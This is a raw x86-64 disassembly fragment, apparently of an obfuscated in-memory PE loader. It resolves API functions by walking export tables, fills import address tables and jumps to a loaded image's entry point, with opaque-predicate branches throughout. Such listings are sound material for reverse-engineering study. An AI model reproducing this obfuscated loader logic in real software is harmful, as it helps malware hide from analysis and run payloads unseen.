cmp dword [0x180020a7c], 0xa
jl 0x180002232
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800024fa
movsxd rax, dword [rdi + 0x3c]
mov ecx, dword [rdi + rax + 0x88]
mov r8d, dword [rdi + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180002260
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800024fc
add r8, rdi
mov ebx, dword [rdi + rcx + 0x20]
mov ecx, dword [rdi + rcx + 0x24]
add rbx, rdi
add rcx, rdi
mov esi, dword [rbx]
add rsi, rdi
mov rbp, r14
movzx eax, byte [rbp]
movzx edx, byte [rsi]
test al, al
je 0x180002290
add rbp, 1
add rsi, 1
cmp al, dl
je 0x180002279
cmp al, dl
je 0x18000229e
add rbx, 4
add rcx, 2
jmp 0x180002271
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rdi, rax
mov rcx, r12
call rdi
cmp dword [0x180020a70], 0xa
jl 0x180002092
mov eax, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002161
jmp 0x180002092
cmp ecx, 0xa
jl 0x1800022e1
test edx, edx
jne 0x18000250a
mov rdx, qword [rsp + 0x50]
mov ebp, dword [rdx]
mov ebx, dword [rdx + 0x10]
mov rdx, r13
add rbx, r13
mov qword [rsp + 0x58], rbx
add rbp, r13
mov qword [rsp + 0x60], rbp
mov rdx, qword [rsp + 0x60]
mov rdx, qword [rdx]
test rdx, rdx
je 0x1800024d3
mov rax, qword [rsp + 0x70]
add rax, rdx
test rdx, rdx
movzx r12d, dx
cmovns r12, rax
jmp 0x18000233e
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rdi, rax
mov rcx, r15
mov rdx, r12
call rdi
mov rcx, qword [rsp + 0x58]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x40]
call fcn.180002530
mov rdi, rax
cmp dword [0x180020a7c], 0xa
jl 0x180002369
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002502
movsxd rax, dword [rdi + 0x3c]
mov ecx, dword [rdi + rax + 0x88]
mov r8d, dword [rdi + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180002397
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002504
add r8, rdi
mov edx, dword [rdi + rcx + 0x20]
mov ecx, dword [rdi + rcx + 0x24]
add rdx, rdi
add rcx, rdi
mov esi, dword [rdx]
add rsi, rdi
mov rbp, qword [rsp + 0x68]
movzx eax, byte [rbp]
movzx ebx, byte [rsi]
test al, al
je 0x1800023c9
add rbp, 1
add rsi, 1
cmp al, bl
je 0x1800023b2
cmp al, bl
je 0x1800023d7
add rdx, 4
add rcx, 2
jmp 0x1800023a8
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rdi, rax
mov rcx, r15
mov rdx, r12
call rdi
mov rcx, qword [rsp + 0x58]
mov qword [rcx], rax
mov eax, dword [0x180020a6c]
mov ecx, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800024b4
test edx, edx
je 0x1800024b4
mov rcx, qword [rsp + 0x40]
call fcn.180002530
mov rdi, rax
cmp dword [0x180020a7c], 0xa
jl 0x180002442
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002506
movsxd rax, dword [rdi + 0x3c]
mov ecx, dword [rdi + rax + 0x88]
mov r8d, dword [rdi + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180002470
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002508
add r8, rdi
mov edx, dword [rdi + rcx + 0x20]
mov ecx, dword [rdi + rcx + 0x24]
add rdx, rdi
add rcx, rdi
mov esi, dword [rdx]
add rsi, rdi
mov rbp, qword [rsp + 0x68]
movzx eax, byte [rbp]
movzx ebx, byte [rsi]
test al, al
je 0x1800024a2
add rbp, 1
add rsi, 1
cmp al, bl
je 0x18000248b
cmp al, bl
je 0x180002324
add rdx, 4
add rcx, 2
jmp 0x180002481
add qword [rsp + 0x60], 8
add qword [rsp + 0x58], 8
cmp ecx, 0xa
jl 0x1800022fe
test edx, edx
je 0x1800022fe
jmp 0x18000250a
add qword [rsp + 0x50], 0x14
cmp ecx, 0xa
jl 0x18000207d
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000207d
jmp 0x18000205a
jmp 0x1800024f6
jmp 0x1800024f8
jmp 0x1800024fa
jmp 0x1800024fc
jmp 0x1800024fe
jmp 0x180002500
jmp 0x180002502
jmp 0x180002504
jmp 0x180002506
jmp 0x180002508
jmp 0x18000250a
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x28]
mov rcx, r13
add rcx, rax
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rcx